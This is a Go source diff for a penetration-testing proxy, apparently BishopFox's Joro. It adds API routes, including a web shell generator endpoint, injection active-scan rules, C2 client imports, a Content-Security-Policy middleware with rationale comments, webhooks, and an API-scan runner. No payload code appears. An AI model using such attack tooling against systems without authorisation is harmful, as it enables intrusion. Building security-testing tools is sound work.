mux.HandleFunc("DELETE /api/v1/echo/data", s.handleClearEcho)
mux.HandleFunc("POST /api/v1/echo/scan", s.handleStartEchoScan)
mux.HandleFunc("GET /api/v1/echo/scan", s.handleGetEchoScan)
mux.HandleFunc("POST /api/v1/echo/scan/cancel", s.handleCancelEchoScan)
// Technology fingerprinting (the embedded Wappalyzer database). UI-only, like
// echo: a passive read of captured traffic that names the stack each host
// serves, which the active-scan rule reads to gate its checks.
mux.HandleFunc("GET /api/v1/tech/hosts", s.handleListTechHosts)
mux.HandleFunc("GET /api/v1/tech/hosts/{host}", s.handleGetTechHost)
mux.HandleFunc("PUT /api/v1/tech/enabled", s.handleSetTechEnabled)
mux.HandleFunc("POST /api/v1/tech/scan", s.handleStartTechScan)
mux.HandleFunc("GET /api/v1/tech/scan", s.handleGetTechScan)
mux.HandleFunc("POST /api/v1/tech/scan/cancel", s.handleCancelTechScan)
// Web shell generator
mux.HandleFunc("POST /api/v1/generate", s.handleGenerate)
@@ -157,12 +267,14 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("GET /api/v1/replace", s.handleGetReplace)
mux.HandleFunc("PUT /api/v1/replace/enabled", s.handleSetReplaceEnabled)
mux.HandleFunc("POST /api/v1/replace/rules", s.handleAddReplaceRule)
mux.HandleFunc("PUT /api/v1/replace/rules/{id}/enabled", s.handleSetReplaceRuleEnabled)
mux.HandleFunc("DELETE /api/v1/replace/rules/{id}", s.handleDeleteReplaceRule)
// Custom Data
mux.HandleFunc("GET /api/v1/customdata", s.handleGetCustomData)
mux.HandleFunc("PUT /api/v1/customdata/enabled", s.handleSetCustomDataEnabled)
mux.HandleFunc("POST /api/v1/customdata/items", s.handleAddCustomDataItem)
mux.HandleFunc("PUT /api/v1/customdata/items/{id}/enabled", s.handleSetCustomDataItemEnabled)
mux.HandleFunc("DELETE /api/v1/customdata/items/{id}", s.handleDeleteCustomDataItem)
// Config save/load
@@ -275,6 +387,10 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("PUT /api/v1/automation/mcp", s.handleSetMCPState)
mux.HandleFunc("GET /api/v1/automation/runs", s.handleListScriptRuns)
mux.HandleFunc("GET /api/v1/automation/runs/{id}", s.handleGetScriptRun)
// {name...} rather than {name}: a command's artifacts can sit in a directory it
// created, so the remainder of the path is the file name. jsautomation.ArtifactPath
// is what refuses one that would escape the run's own directory.
mux.HandleFunc("GET /api/v1/automation/runs/{id}/artifacts/{name...}", s.handleGetRunArtifact)
mux.HandleFunc("POST /api/v1/automation/runs", s.handleRunScript)
mux.HandleFunc("DELETE /api/v1/automation/runs", s.handleClearScriptRuns)
mux.HandleFunc("GET /api/v1/automation/scripts", s.handleListScripts)
@@ -284,9 +400,41 @@ func registerRoutes(s *APIServer, mux *http.ServeMux) {
mux.HandleFunc("DELETE /api/v1/automation/scripts/{id}", s.handleDeleteScript)
mux.HandleFunc("PUT /api/v1/automation/scripts/{id}/enabled", s.handleSetScriptEnabled)
mux.HandleFunc("PUT /api/v1/automation/scripts/{id}/prefs", s.handleSetScriptPrefs)
mux.HandleFunc("GET /api/v1/automation/triggers", s.handleListTriggers)
mux.HandleFunc("POST /api/v1/automation/triggers", s.handleCreateTrigger)
mux.HandleFunc("POST /api/v1/automation/triggers/test", s.handleTestTrigger)
mux.HandleFunc("GET /api/v1/automation/triggers/seed", s.handleSeedTrigger)
mux.HandleFunc("GET /api/v1/automation/triggers/{id}", s.handleGetTrigger)
mux.HandleFunc("PUT /api/v1/automation/triggers/{id}", s.handleUpdateTrigger)
mux.HandleFunc("DELETE /api/v1/automation/triggers/{id}", s.handleDeleteTrigger)
mux.HandleFunc("GET /api/v1/automation/sdk", s.handleScriptSDK)
mux.HandleFunc("GET /api/v1/automation/limits", s.handleGetScriptBudget)
mux.HandleFunc("PUT /api/v1/automation/limits", s.handleSetScriptBudget)
}
// Webhooks. Registered unconditionally with every handler gated on requireWebhooks,
// for the same reason the automation block is: an unregistered route falls through to
// the SPA catch-all and answers 200 with HTML rather than 404 with JSON.
//
// Outside that block because a webhook is not part of the automation surface. It needs
// none of the three automation flags, and an operator who wants a finding in their team
// channel should not have to arm an agent to get one.
mux.HandleFunc("GET /api/v1/webhooks", s.handleListWebhooks)
mux.HandleFunc("POST /api/v1/webhooks", s.handleCreateWebhook)
mux.HandleFunc("GET /api/v1/webhooks/{id}", s.handleGetWebhook)
mux.HandleFunc("PUT /api/v1/webhooks/{id}", s.handleUpdateWebhook)
mux.HandleFunc("DELETE /api/v1/webhooks/{id}", s.handleDeleteWebhook)
mux.HandleFunc("PUT /api/v1/webhooks/{id}/enabled", s.handleSetWebhookEnabled)
mux.HandleFunc("POST /api/v1/webhooks/{id}/test", s.handleTestWebhook)
mux.HandleFunc("GET /api/v1/webhooks/{id}/deliveries", s.handleListWebhookDeliveries)
// Threat-intel feeds. Registered unconditionally and gated on requireFeeds, for the same
// SPA-catch-all reason as the block above. UI-only, proxy-mode only (nil in listener mode).
mux.HandleFunc("GET /api/v1/feeds", s.handleGetFeeds)
mux.HandleFunc("POST /api/v1/feeds/refresh", s.handleRefreshFeeds)
mux.HandleFunc("GET /api/v1/feeds/settings", s.handleGetFeedsSettings)
mux.HandleFunc("PUT /api/v1/feeds/settings", s.handleSetFeedsSettings)
// Plugin routes (dynamic, based on loaded plugins).
registerPluginRoutes(s, mux)
}
+91
View File
@@ -0,0 +1,91 @@
package api
import (
"net/http"
"strings"
)
// The Content-Security-Policy Joro serves its own UI under.
//
// # Why it matters more than it looks
//
// Everything on this origin is fully privileged. Any script running here can call the whole
// API same-origin — which includes installing an automation and arming it, and therefore,
// on an instance started with --automation-commands, running a program on the operator's
// machine. It does not need a package to already be armed; it can install its own. So a
// single injection anywhere on this origin is not "an XSS in a local tool", it is local code
// execution, and this header is the layer that stops one from getting that far.
//
// It also covers a case that is easy to miss. The response viewer renders captured HTML into
// a blob: URL and frames it with sandbox="allow-same-origin" and no allow-scripts, which is
// what keeps that markup inert. But a blob: URL is a real navigable URL on this origin, so
// opening the frame on its own — a browser's "open frame in new tab" — leaves the sandbox
// behind. A blob: document inherits the creating document's policy, so script-src here
// follows the captured bytes out of the frame and keeps them inert there too.
//
// # Why each directive is what it is
//
// script-src 'self' with no 'unsafe-inline': the built index.html carries no inline script,
// only a module tag pointing at a hashed asset, so nothing legitimate needs it.
//
// style-src keeps 'unsafe-inline' because React writes styles as inline attributes in
// places. Inline style is not an execution primitive, and buying its removal would mean
// rewriting component styling for no security gain.
//
// img-src allows data: for the XSS Hunter screenshots, which arrive as data:image URLs, and
// blob: for images the response viewer renders. Notably it does *not* allow arbitrary
// remote hosts, so a hostile value that named one would not be fetched — no beacon telling
// an attacker when the operator opened their finding.
//
// frame-src allows blob: for the response viewer and 'self' for plugin UIs. frame-ancestors
// is 'self' rather than 'none' precisely because Joro frames its own plugin pages.
//
// connect-src names ws: and wss: explicitly rather than trusting 'self' to cover the
// WebSocket upgrade across browsers.
const contentSecurityPolicy = "default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: blob:; " +
"font-src 'self'; " +
"connect-src 'self' ws: wss:; " +
"frame-src 'self' blob:; " +
"frame-ancestors 'self'; " +
"object-src 'none'; " +
"base-uri 'none'; " +
"form-action 'self'"
// pluginPathPrefix is the mount point for plugin UI assets; see securityHeaders.
const pluginPathPrefix = "/plugin/"
// securityHeaders adds the UI's own policy to every response it serves.
//
// # The two exemptions, both deliberate
//
// **Plugin UIs are exempt.** A plugin's pages are served from /plugin/<name>/ and are
// written by whoever wrote the plugin, and inline <script> is the ordinary way to write a
// small one — every example plugin does it. A strict script-src would break all of them.
// That concedes nothing that was ever held: a plugin is native Go code already running
// inside this process, so it is trusted before its UI is ever loaded, which is the same
// reason those iframes carry allow-same-origin. Removing this exemption looks like
// hardening and breaks every plugin UI with errors that point nowhere near the cause.
//
// The consequence worth stating: a plugin UI that renders captured bytes as HTML is a
// Joro-origin XSS, and no policy here will catch it. That is a rule for plugin authors,
// not something this middleware can enforce.
//
// **Dev mode is exempt.** With --dev the UI is proxied from Vite, whose hot reloading needs
// inline script and eval. Gating on the flag keeps the shipped posture strict without
// making the development one unusable.
func securityHeaders(devMode bool, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Applies to every response either way: these cost nothing and want no exemption.
h := w.Header()
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "no-referrer")
if !devMode && !strings.HasPrefix(r.URL.Path, pluginPathPrefix) {
h.Set("Content-Security-Policy", contentSecurityPolicy)
}
next.ServeHTTP(w, r)
})
}
+169 -6
View File
@@ -15,25 +15,44 @@ import (
"sync"
"time"
"github.com/BishopFox/joro/internal/activescan"
"github.com/BishopFox/joro/internal/activescan/cmdi"
"github.com/BishopFox/joro/internal/activescan/domxss"
"github.com/BishopFox/joro/internal/activescan/openredirect"
"github.com/BishopFox/joro/internal/activescan/pathtraversal"
"github.com/BishopFox/joro/internal/activescan/reflectedxss"
"github.com/BishopFox/joro/internal/activescan/sqli"
"github.com/BishopFox/joro/internal/activescan/ssti"
"github.com/BishopFox/joro/internal/activescan/templatesig"
"github.com/BishopFox/joro/internal/anomaly"
"github.com/BishopFox/joro/internal/apiscan"
"github.com/BishopFox/joro/internal/automation"
"github.com/BishopFox/joro/internal/callback"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/cert"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/chainrun"
"github.com/BishopFox/joro/internal/config"
"github.com/BishopFox/joro/internal/configstore"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/feeds"
"github.com/BishopFox/joro/internal/fuzzer"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/mcp"
"github.com/BishopFox/joro/internal/mythic"
"github.com/BishopFox/joro/internal/notes"
"github.com/BishopFox/joro/internal/oast"
"github.com/BishopFox/joro/internal/plugins"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/sliver"
"github.com/BishopFox/joro/internal/team"
"github.com/BishopFox/joro/internal/techfp"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/update"
"github.com/BishopFox/joro/internal/webhook"
"github.com/BishopFox/joro/internal/xsshunter"
joroweb "github.com/BishopFox/joro/web"
)
@@ -97,12 +116,54 @@ type APIServer struct {
fuzzerStore *fuzzer.Store
pluginManager *plugins.Manager
// SJ: parsed API description documents and the runs driven from them. Both
// are session state and neither reaches the project file — a document is
// re-fetchable from History because the fetch went through the proxy, and an
// auth profile holds a credential, which is why webhooks.json's secrets are
// kept out of a project file too. See handlers_spec.go.
specStore *apiscan.SpecStore
specRuns *apiscan.Store
// Workflow chains and their sweeps. Unlike the two above, chains ARE project
// data: a chain describes one application's checkout and is useful to a
// teammate who opens the same project, and nothing installed references one,
// so trigger/store.go's machine-global rule does not apply. Runs are session
// state and are cleared on a project switch.
chainStore *chain.Store
chainRuns *chainrun.Store
// Active scanning: operator-initiated rules that drive a target and file
// findings into the shared detect store. Both are nil in listener/team mode
// (the routes are proxy-mode only); runs are session state cleared on a
// project switch, and the registry is the rule set the host offers.
activeScans *activescan.Store
activeScanRules *activescan.Registry
// Passive detection. All three are nil in listener and team-server mode; the
// detect routes are gated on proxy mode in registerRoutes, so only the shared
// config paths need nil guards.
detectEngine *detect.Engine
detectFindings *detect.Store
detectScanner *detect.Scanner
anomalyEngine *anomaly.Engine
// Reflection mapping (the Echo tab). The map is session state and is
// rebuilt by a rescan, for the reason SJ's stores are: it is derived from
// history and holds no triage of its own. Only its config travels with the
// project, and only a breakout reaches detectFindings. See internal/echo.
echoEngine *echo.Engine
echoStore *echo.Store
// Passive technology fingerprinting (the embedded Wappalyzer database). Nil
// outside proxy mode. The active-scan signature rule reads its store to run
// only the checks a host's stack warrants. See internal/techfp.
techEngine *techfp.Engine
// Out-of-band confirmation: correlates the callback server's response hash
// back into captured traffic and mints confirmed CategoryOOB findings. Nil
// outside proxy mode. See internal/oast.
oastEngine *oast.Engine
// detectCtx is the server-lifetime context, so a rescan job can outlive the
// HTTP request that started it. Guarded by mu.
detectCtx context.Context
@@ -119,17 +180,49 @@ type APIServer struct {
autoStore *automation.Store
capContexts *httptools.Contexts
mcpListener *mcp.Listener
// scriptManager runs sandboxed JavaScript against the registry. Nil unless
// --automation-scripting was given, which is what keeps script.run unregistered.
// scriptManager runs installed automations: sandboxed JavaScript against the
// registry, and local commands. Nil unless at least one of --automation-scripting
// and --automation-commands was given.
//
// Non-nil is therefore no longer the same question as "is scripting on", which it
// was when this held one kind. Use scriptingEnabled and commandsEnabled — the two
// flags are separate axes and each gates a different half.
scriptManager *jsautomation.Manager
// scriptRuntimeReady records that a worker runtime could be built, which needs
// os.Executable to work. False disables scripting outright rather than leaving
// script.run registered and failing on every call.
scriptRuntimeReady bool
// automationStorage is joro.storage: per-automation key/value state that rides in
// the project config like plugin state, because it describes one engagement.
automationStorage *jsautomation.Storage
// scriptTriggers watches Joro's events and runs armed automations. Nil unless
// scripting is on; handlers ring its doorbell after a change so an enable takes
// scriptTriggers watches Joro's events and runs armed automations. Nil unless the
// manager exists; handlers ring its doorbell after a change so an enable takes
// effect immediately rather than on the next 250ms tick.
scriptTriggers *jsautomation.Dispatcher
automationMu sync.Mutex // serializes MCP start/stop from HTTP handlers
// triggers holds the operator's custom triggers, which automations reference by id.
// Global rather than per-project, because the automations referencing them are: a
// per-project store would resolve on one engagement and dangle on the next. Nil when
// the file could not be read, which disables the feature loudly rather than presenting
// an empty set — see requireTriggers.
triggers *trigger.Store
automationMu sync.Mutex // serializes MCP start/stop from HTTP handlers
// The webhook feature. Independent of automation: an operator wanting a finding in
// their team channel should not have to arm an agent to get one, so these are built in
// New rather than in SetAutomation and are nil only under --no-webhooks or when
// webhooks.json could not be read. See webhook_wire.go.
webhooks *webhook.Store
webhookDeliver *webhook.Deliverer
webhookDispatch *webhook.Dispatcher
// Threat-intelligence feeds. Independent of automation and of webhooks: a curated,
// read-only aggregator (NVD / CISA KEV / advisory headlines) the dashboard renders.
// Both nil under --no-feeds, in listener mode, or when feeds.json could not be read.
// feedsCtx is the server-lifetime context so a refresh kicked from a handler outlives
// the request; set once in startFeedsLoop before serving. See feeds_wire.go.
feeds *feeds.Aggregator
feedsStore *feeds.SettingsStore
feedsCtx context.Context
buildInfo BuildInfo
cancelFunc context.CancelFunc
@@ -139,10 +232,21 @@ type APIServer struct {
highlights map[string]string // requestID → highlight color name
// projectFileMu serializes every mutation of a project's on-disk files: the
// .joro written by saveProject, its .meta.json sidecar, and the delete that
// removes both. Without it an auto-save tick that has already passed its
// active-project check can SaveGzip the file a concurrent delete just
// unlinked, resurrecting a deleted project as a .joro with no sidecar.
// Lock order is projectFileMu then mu, never the reverse.
projectFileMu sync.Mutex
mu sync.RWMutex
settings Settings
activeUserConfig string
activeProjectConfig string
// oastDomain is the callback domain the OAST confirmer harvests tokens under,
// seeded from --domain and best-effort refreshed from the listener. Guarded by mu.
oastDomain string
lastSaveSig string // fingerprint of live state at last save (auto-save skip)
// pendingUserPluginStates / pendingProjectPluginStates preserve plugin
@@ -196,7 +300,7 @@ func New(
// holds no reference to it, since the scanner pulls from the capture store.
detectEngine := detect.NewEngine()
detectFindings := detect.NewStore(0)
return &APIServer{
s := &APIServer{
cfg: cfg,
store: store,
intercept: intercept,
@@ -213,6 +317,11 @@ func New(
sliverClient: sc,
mythicClient: mc,
fuzzerStore: fuzzer.NewStore(),
specStore: apiscan.NewSpecStore(),
specRuns: apiscan.NewStore(),
chainStore: chain.NewStore(),
chainRuns: chainrun.NewStore(),
activeScans: activescan.NewStore(),
pluginManager: pluginManager,
detectEngine: detectEngine,
@@ -238,6 +347,50 @@ func New(
DisableUpdateChecks: cfg.DisableUpdateChecks,
},
}
// Anomaly analysis writes into the same findings store as detect, but computes
// per-host baselines the detect engine's stateless scan path cannot. Built here
// so it can read the live detect config every cycle and push the shared summary.
s.anomalyEngine = anomaly.NewEngine(
store, scope, detectFindings,
detectEngine.Config, hub.Broadcast(), s.broadcastDetectSummary)
// Reflection mapping writes into the same findings store, and for the same
// reason is built here: it needs the shared summary push.
s.echoStore = echo.NewStore(0)
s.echoEngine = echo.NewEngine(
s.echoStore, store, scope, detectFindings,
hub.Broadcast(), s.broadcastDetectSummary)
// Passive technology fingerprinting over the same capture store. Built here so
// it rides the one cursor-reset path (resetDetectCursor) the other passive
// analyzers use.
s.techEngine = techfp.NewEngine(techfp.NewStore(), store, hub.Broadcast())
// Out-of-band confirmer. Writes into the same findings store; built here so it
// rides the one cursor-reset path and pushes the shared summary. The token DB
// lives in the listener process, so it harvests expected hashes from captured
// callback hostnames under oastDomain (from --domain or refreshed later).
s.oastDomain = cfg.CallbackDomain
s.oastEngine = oast.NewEngine(
store, detectFindings, s.callbackDomainForOAST,
hub.Broadcast(), s.broadcastDetectSummary)
// Active-scan rule set. The registry is built here (not a package global, per
// the no-globals rule) so the api layer can import both activescan and its
// rules without an import cycle.
s.activeScanRules = activescan.NewRegistry()
s.activeScanRules.Register(domxss.New())
s.activeScanRules.Register(templatesig.New())
// Injection-fuzzing rules (parameter mutation + differential/timing/OAST).
s.activeScanRules.Register(reflectedxss.New())
s.activeScanRules.Register(sqli.New())
s.activeScanRules.Register(ssti.New())
s.activeScanRules.Register(cmdi.New())
s.activeScanRules.Register(openredirect.New())
s.activeScanRules.Register(pathtraversal.New())
// Both stores are built here rather than in SetAutomation, because both outlive
// automation: a webhook references a trigger, and neither needs an agent to be useful.
// See initTriggers for why the trigger store moved out of newScriptManager.
s.initTriggers()
s.initWebhooks()
s.initFeeds()
return s
}
// RestartRequested returns true if the server was shut down for a restart (e.g. after update).
@@ -345,6 +498,12 @@ func (s *APIServer) Start(ctx context.Context) error {
// Bring up the persisted MCP listener state and the token flush loop.
// No-ops entirely when automation was not configured.
s.startAutomation(ctx)
// No-ops entirely under --no-webhooks. Started after automation so the run
// watcher startScriptTriggers registers is already in place.
s.startWebhooks(ctx)
// No-ops entirely under --no-feeds. Fetches nothing until the operator enables
// feeds in Settings or on the Dashboard.
s.startFeedsLoop(ctx)
}
// Serve frontend (skip in listener mode - listener is API-only).
@@ -371,6 +530,10 @@ func (s *APIServer) Start(ctx context.Context) error {
// Proxy mode: restrict the API to same-origin browser requests.
handler = originGuard(uiBind, s.cfg.AllowedHosts, handler)
}
// Outermost, and in both modes: this origin can reach the whole API, so a single
// injection on it is not a cosmetic bug. Applied outside the auth middleware so a
// rejected request carries the policy too — a 403 body is still a document.
handler = securityHeaders(s.cfg.Dev, handler)
s.srv = &http.Server{
Addr: fmt.Sprintf("%s:%d", uiBind, s.cfg.UIPort),
+132
View File
@@ -0,0 +1,132 @@
package api
import (
"context"
"log"
"net/http"
"github.com/BishopFox/joro/internal/capreg"
"github.com/BishopFox/joro/internal/event"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/proxy"
"github.com/BishopFox/joro/internal/trigger"
"github.com/BishopFox/joro/internal/webhook"
)
// Bringing the webhook feature up.
//
// It is deliberately not part of SetAutomation. Automation is an agent surface behind three
// launch flags; a webhook is the operator telling their own team channel that something
// happened, and needing to arm an agent to get one would be a strange price. So the store and
// the dispatcher are built in New, and the only switch is --no-webhooks.
// initTriggers opens the custom trigger store.
//
// It lives here rather than in newScriptManager because two features now reference it, and the
// one that is always available must not depend on the one behind flags. Without this a webhook
// could name only the built-in events on a Joro started without --automation-scripting, and
// the trigger editor would 404.
//
// A file that will not parse disables custom triggers and says so, rather than presenting an
// empty set. The difference matters for both consumers: an empty store would leave every
// automation and every webhook referencing a custom trigger with nothing to resolve, and the
// operator would see them stop firing with no explanation.
func (s *APIServer) initTriggers() {
if s.listenerMode {
return
}
store, err := trigger.NewStore(s.cfg.DataDir)
if err != nil {
log.Printf("[automation] custom triggers are unavailable: %v", err)
return
}
s.triggers = store
}
// initWebhooks opens the webhook store and builds the dispatcher and deliverer.
//
// A failure is non-fatal and disables the feature rather than the proxy, the same way an
// unreadable automation.json does: an operator should still be able to test. It is logged
// loudly, because a silently absent store would look like their webhooks had been deleted.
func (s *APIServer) initWebhooks() {
if s.listenerMode || s.cfg.NoWebhooks {
return
}
store, err := webhook.NewStore(s.cfg.DataDir, s.triggers)
if err != nil {
log.Printf("[webhook] webhooks are disabled this run: %v", err)
return
}
s.webhooks = store
s.webhookDeliver = webhook.NewDeliverer(store, s.webhookClient,
s.buildInfo.Version, s.hub.Broadcast())
s.webhookDispatch = webhook.NewDispatcher(store, s.webhookDeliver)
}
// webhookClient builds the client one delivery uses.
//
// NewOutboundHTTPClient rather than NewHTTPClient: a webhook endpoint is the operator's own
// infrastructure, frequently one whose URL is itself the credential, so its certificate is
// verified. NewHTTPClient's permissive TLS is for targets Joro is already MITM-ing. Both
// configs are built inside internal/proxy, which is the rule that keeps them readable side by
// side.
func (s *APIServer) webhookClient(insecure bool) http.Client {
return proxy.NewOutboundHTTPClient(s.transport, insecure)
}
// startWebhooks runs the dispatcher and the delivery pump for the life of the server.
//
// The hub subscription is made here for the same reason startScriptTriggers makes its own:
// internal/webhook cannot import this package, so the wiring belongs on this side. It is a
// second subscriber, which Hub.Subscribe already supports — each gets its own channel and its
// own non-blocking send.
func (s *APIServer) startWebhooks(ctx context.Context) {
if s.webhookDispatch == nil {
return
}
go s.webhookDispatch.Run(ctx, s.hub.Subscribe(0))
go s.webhookDeliver.Run(ctx)
}
// watchAutomationRuns points the webhook dispatcher at finished automation runs.
//
// automation.completed is the one event in the trigger catalog that never reaches the bus — a
// per-run broadcast would be a firehose an agent controls — so a consumer has to be registered
// with the manager instead. Called from startScriptTriggers, after the trigger dispatcher has
// registered itself; Manager.WatchRuns appends, so both are told.
func (s *APIServer) watchAutomationRuns() {
if s.webhookDispatch == nil || s.scriptManager == nil {
return
}
s.scriptManager.WatchRuns(&webhookRunWatcher{d: s.webhookDispatch})
}
// webhookRunWatcher hands a finished run to the webhook dispatcher.
//
// It projects through jsautomation.RunRef rather than building its own map, so both watchers
// of this event see byte-identical fields. A second hand-written projection is exactly how a
// condition comes to fire for an automation and not for a webhook watching the same trigger —
// which is the class of bug trigger.Project exists to have one answer to.
type webhookRunWatcher struct{ d *webhook.Dispatcher }
func (w *webhookRunWatcher) RunCompleted(automationID string, run *jsautomation.Run) {
if run == nil || automationID == "" {
return
}
ref := jsautomation.RunRef(automationID, run)
if ref == nil {
return
}
w.d.Observe(event.WSEvent{Type: trigger.EventAutomationComplete, Data: ref})
}
// webhookFirer returns the deliverer as the interface capreg expects, or a nil interface when
// webhooks are off. Returning the typed nil pointer directly would give capreg a non-nil
// interface holding nil, and the handler's own nil check would not catch it — the same trap
// scriptRunnerDep avoids.
func (s *APIServer) webhookFirer() capreg.WebhookFirer {
if s.webhookDeliver == nil {
return nil
}
return s.webhookDeliver
}
+414
View File
@@ -0,0 +1,414 @@
// Package apiscan drives requests built from an API description document.
//
// It is separate from internal/apispec on purpose. apispec is a leaf: it parses
// and projects, imports nothing from the rest of Joro, and cannot send. This
// package is where the worker pool, the rate limiter, the budget, the claim set
// and the event shapes live — none of which belong in a package whose reason to
// exist is that a parser for another description language can be a sibling file
// returning the same *apispec.Spec. Passing a send callback into apispec would
// satisfy the import rule while breaking that one. internal/fuzzer and
// internal/detect are split the same way.
//
// # One runner, not two
//
// A scan is an auth matrix with a single profile. The work item is a pair of one
// operation and one profile; a scan enqueues len(ops), a matrix enqueues
// len(ops) x len(profiles), and the execution is identical. Only the view
// differs. Two runners would duplicate the pool, the limiter, the claim set and
// the results shape, would drift, and would leave two places for the destructive
// gate to be forgotten.
//
// # Everything goes through Joro's own proxy
//
// Sends use httptools.SendViaProxy, so every request is captured into History,
// scanned by the detect engine, entered into the site map, filtered by scope and
// rewritten by Match & Replace and Custom Data. Scanning an API's whole surface
// is therefore the act that populates the rest of the tool, which is the reason
// this feature is worth having inside Joro rather than beside it. The costs come
// with it: HTTP/1.1 only, an armed request intercept pauses every send in the
// operator's queue, and a large sweep occupies rows in a capture ring buffer.
package apiscan
import (
"context"
"sync"
"time"
"github.com/BishopFox/joro/internal/apispec"
"github.com/BishopFox/joro/internal/httptools"
)
// Kind is what a run does.
type Kind string
const (
KindScan Kind = "scan"
KindMatrix Kind = "matrix"
KindDiscovery Kind = "discovery"
)
// Status is a run's lifecycle state.
type Status string
const (
StatusRunning Status = "running"
StatusComplete Status = "complete"
StatusStopped Status = "stopped"
)
// Caps. Sized against the fuzzer, the way httptools' batch caps are: past a few
// thousand rows the right answer is "drive the fuzzer", and the refusal says so.
const (
MaxRequestsPerRun = 2000
MaxProfiles = 8
MaxRuns = 20
MaxSpecs = 8
DefaultConcurrency = 4
MaxConcurrency = 20
MaxRatePerSec = 50
DefaultTimeoutMs = 10000
MaxTimeoutMs = 60000
DefaultBudgetMs = 600000
MaxBudgetMs = 1800000
// Discovery runs hotter than a scan: the candidates are unauthenticated GETs
// against one host, and a scan's default of 4 would make a full sweep crawl.
DefaultDiscoveryConcurrency = 10
MaxDiscoveryFollows = 50
MaxFollowDepth = 3
// ChallengeLimit stops a sweep once a WAF is clearly answering. Continuing
// spends thousands of requests to learn nothing, and looks exactly like the
// attack the WAF is there to stop.
ChallengeLimit = 20
)
// Profile is one authentication state a run tests under.
type Profile struct {
ID string `json:"id"`
Label string `json:"label"`
// Rank orders profiles by privilege, 0 being anonymous. It is what makes a
// matrix verdict a statement rather than a comparison of two arbitrary
// credential sets: "a lower rank reached what only a higher rank should"
// needs an ordering to mean anything.
Rank int `json:"rank"`
// Auth never leaves the process. A run result names the profile; it never
// carries what satisfied it.
Auth apispec.Auth `json:"-"`
}
// Config is everything a run needs, snapshotted at start so an edit to the spec
// mid-run cannot change what is being sent.
type Config struct {
Kind Kind
SpecID string
Server apispec.Server
Ops []apispec.Operation
Values map[string]apispec.Values // keyed by operation ID
Profiles []Profile
Concurrency int
RatePerSec float64
TimeoutMs int
BudgetMs int
UserAgent string
// AllowDestructive and Methods are the two halves of the safety gate. They
// are configuration rather than a parse-time skip, because the operator must
// be able to see the whole API surface and then tick the one they meant.
AllowDestructive bool
Methods []string
// Discovery only.
Scheme string
Host string
BasePath string
CandidateSet apispec.CandidateSet
StopOnFirst bool
}
// Triage is the three-band rubric, computed server-side and shipped on the
// result so the frontend never recomputes it — one fewer mirror to keep in sync.
type Triage string
const (
TriageGood Triage = "good" // 2xx: the request was accepted
TriageBad Triage = "bad" // 401/403/404: refused or absent
TriageWarn Triage = "warn" // everything else, including transport failure
)
// TriageOf applies the rubric. sj's colouring is the same shape; the names are
// chosen so the UI can pick glyph and colour without a second table.
func TriageOf(status int, err string) Triage {
if err != "" {
return TriageWarn
}
switch {
case status >= 200 && status < 300:
return TriageGood
case status == 401 || status == 403 || status == 404:
return TriageBad
default:
return TriageWarn
}
}
// Result is one work item's outcome. A skipped item still occupies its slot, so
// the client can correlate every row back to what it asked for.
type Result struct {
Index int `json:"index"`
OpID string `json:"opId,omitempty"`
ProfileID string `json:"profileId,omitempty"`
Method string `json:"method,omitempty"`
Path string `json:"path,omitempty"`
URL string `json:"url,omitempty"`
// ReqPath is the origin-form actually rendered — path and query, every
// placeholder resolved. Path stays the document's template, because that is
// what a row correlates back to and what a skipped row has instead; ReqPath is
// what the operator reads to see the values that went out, without opening the
// row. Empty when the item never rendered.
ReqPath string `json:"reqPath,omitempty"`
// Seq and RequestID address the History row this send produced. Seq is 0 and
// RequestID empty when the send was not captured, which is a normal outcome
// — a noise-filtered host, or one outside the proxy's capture scope — and
// SeqNote says which.
Seq int `json:"seq"`
RequestID string `json:"requestId,omitempty"`
SeqNote string `json:"seqNote,omitempty"`
Status int `json:"status"`
Len int `json:"len"`
DurationMs int64 `json:"ms"`
BodyHash string `json:"bhash,omitempty"`
StructHash string `json:"shash,omitempty"`
Words int `json:"words,omitempty"`
Lines int `json:"lines,omitempty"`
Note string `json:"note,omitempty"`
Triage Triage `json:"triage"`
Error string `json:"error,omitempty"`
Skipped string `json:"skipped,omitempty"` // destructive | method | budget | render
// Discovery only.
ContentType string `json:"contentType,omitempty"`
BodyKind apispec.BodyKind `json:"bodyKind,omitempty"`
SpecTitle string `json:"specTitle,omitempty"`
SpecFormat string `json:"specFormat,omitempty"`
SpecOps int `json:"specOps,omitempty"`
ReqRaw []byte `json:"-"`
RespRaw []byte `json:"-"`
}
// Run is one execution. Counters are read while it is in flight, so every
// accessor takes the lock.
type Run struct {
ID string `json:"id"`
Kind Kind `json:"kind"`
SpecID string `json:"specId,omitempty"`
CreatedAt time.Time `json:"createdAt"`
Total int `json:"total"`
Config Config `json:"-"`
mu sync.RWMutex
status Status
completed int
errors int
skipped int
hits int
challenges int
results []Result
cancel context.CancelFunc
}
// NewRun creates a run in the running state with its result slots pre-sized.
//
// Slots are indexed, never appended: idx = opIndex*len(profiles) + profileIndex.
// That makes the matrix pivot index arithmetic rather than a search, and it
// means a send that failed still occupies the slot the client asked about.
func NewRun(id string, cfg Config, total int) *Run {
return &Run{
ID: id,
Kind: cfg.Kind,
SpecID: cfg.SpecID,
CreatedAt: time.Now(),
Total: total,
Config: cfg,
status: StatusRunning,
results: newResults(cfg.Kind, total),
}
}
// newResults sizes the result slice for how the run fills it. A scan and a
// matrix write by index, so theirs is pre-sized; discovery appends, so a
// pre-sized slice would leave `total` blank rows in front of every real one.
func newResults(kind Kind, total int) []Result {
if kind == KindDiscovery {
return make([]Result, 0, total)
}
out := make([]Result, total)
